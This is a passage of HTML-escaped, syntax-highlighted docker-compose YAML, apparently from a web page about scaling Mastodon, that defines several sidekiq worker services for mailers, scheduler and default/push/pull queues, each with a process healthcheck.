style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;  &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;image&lt;/span&gt;:&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;tootsuite/mastodon:v3.4.6&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;  &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;restart&lt;/span&gt;:&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;always&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;  &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;env_file&lt;/span&gt;:&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;.env.production&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;  &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;command&lt;/span&gt;:&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;bundle exec sidekiq&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;  &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;depends_on&lt;/span&gt;:&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;- db&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;- redis&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;  &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;networks&lt;/span&gt;:&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;- external_network&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;- internal_network&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;  &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;volumes&lt;/span&gt;:&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;- ./public/system:/mastodon/public/system&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;  &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;healthcheck&lt;/span&gt;:&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;test&lt;/span&gt;:&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;[&lt;span style=&#34;color:#00f&#34;&gt;&amp;#39;CMD-SHELL&amp;#39;&lt;/span&gt;,&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&lt;span style=&#34;color:#00f&#34;&gt;&amp;#34;ps aux | grep &amp;#39;[s]idekiq\ 6&amp;#39; || false&amp;#34;&lt;/span&gt;]&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/details&gt;&#xA;&lt;details&gt;&lt;summary&gt;To these definitions: &lt;/summary&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;background-color:#fff;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-yml&#34; data-lang=&#34;yml&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;sidekiq-mailers&lt;/span&gt;:&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;  &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;build&lt;/span&gt;:&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;.&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;  &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;image&lt;/span&gt;:&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;tootsuite/mastodon:v3.4.6&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;  &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;restart&lt;/span&gt;:&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;always&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;  &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;env_file&lt;/span&gt;:&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;.env.production&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;  &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;command&lt;/span&gt;:&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;bundle exec sidekiq -q mailers -q scheduler&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;  &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;depends_on&lt;/span&gt;:&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;- db&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;- redis&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;  &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;networks&lt;/span&gt;:&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;- external_network&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;- internal_network&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;  &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;volumes&lt;/span&gt;:&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;- ./public/system:/mastodon/public/system&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;  &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;healthcheck&lt;/span&gt;:&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;test&lt;/span&gt;:&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;[&lt;span style=&#34;color:#00f&#34;&gt;&amp;#39;CMD-SHELL&amp;#39;&lt;/span&gt;,&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&lt;span style=&#34;color:#00f&#34;&gt;&amp;#34;ps aux | grep &amp;#39;[s]idekiq\ 6&amp;#39; || false&amp;#34;&lt;/span&gt;]&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;sidekiq-scheduler&lt;/span&gt;:&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;  &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;build&lt;/span&gt;:&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;.&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;  &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;image&lt;/span&gt;:&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;tootsuite/mastodon:v3.4.6&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;  &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;restart&lt;/span&gt;:&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;always&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;  &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;env_file&lt;/span&gt;:&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;.env.production&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;  &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;command&lt;/span&gt;:&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;bundle exec sidekiq -q scheduler&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;  &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;depends_on&lt;/span&gt;:&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;- db&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;- redis&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;  &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;networks&lt;/span&gt;:&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;- external_network&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;- internal_network&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;  &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;volumes&lt;/span&gt;:&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;- ./public/system:/mastodon/public/system&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;  &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;healthcheck&lt;/span&gt;:&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;test&lt;/span&gt;:&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;[&lt;span style=&#34;color:#00f&#34;&gt;&amp;#39;CMD-SHELL&amp;#39;&lt;/span&gt;,&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&lt;span style=&#34;color:#00f&#34;&gt;&amp;#34;ps aux | grep &amp;#39;[s]idekiq\ 6&amp;#39; || false&amp;#34;&lt;/span&gt;]&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;sidekiq-default-push-pull&lt;/span&gt;:&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;  &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;build&lt;/span&gt;:&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;.&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;  &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;image&lt;/span&gt;:&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;tootsuite/mastodon:v3.4.6&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;  &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;restart&lt;/span&gt;:&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;always&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;  &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;env_file&lt;/span&gt;:&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;.env.production&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;  &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;command&lt;/span&gt;:&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;bundle exec sidekiq -q default -q push -q pull&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;  &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;depends_on&lt;/span&gt;:&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;- db&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;- redis&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;  &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;networks&lt;/span&gt;:&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;- external_network&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;- internal_network&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;  &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;volumes&lt;/span&gt;:&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;- ./public/system:/mastodon/public/system&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;  &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;healthcheck&lt;/span&gt;:&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;test&lt;/span&gt;:&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;[&lt;span style=&#34;color:#00f&#34;&gt;&amp;#39;CMD-SHELL&amp;#39;&lt;/span&gt;,&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&lt;span style=&#34;color:#00f&#34;&gt;&amp;#34;ps aux | grep &amp;#39;[s]idekiq\ 6&amp;#39; || false&amp;#34;&lt;/span&gt;]&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;sidekiq-default-pull-push&lt;/span&gt;:&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;  &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;build&lt;/span&gt;:&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;.&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;  &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;image&lt;/span&gt;:&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;tootsuite/mastodon:v3.4.6&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;  &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;restart&lt;/span&gt;:&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;always&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;  &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;env_file&lt;/span&gt;:&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;.env.production&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;  &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;command&lt;/span&gt;:&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;bundle exec sidekiq -q default -q pull -q push&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;  &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;depends_on&lt;/span&gt;:&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;- db&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;- redis&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;  &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;networks&lt;/span&gt;:&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;- external_network&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;- internal_network&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;  &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;volumes&lt;/span&gt;:&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;- ./public/system:/mastodon/public/system&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;  &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;healthcheck&lt;/span&gt;:&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;test&lt;/span&gt;:&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;[&lt;span style=&#34;color:#00f&#34;&gt;&amp;#39;CMD-SHELL&amp;#39;&lt;/span&gt;,&lt;span 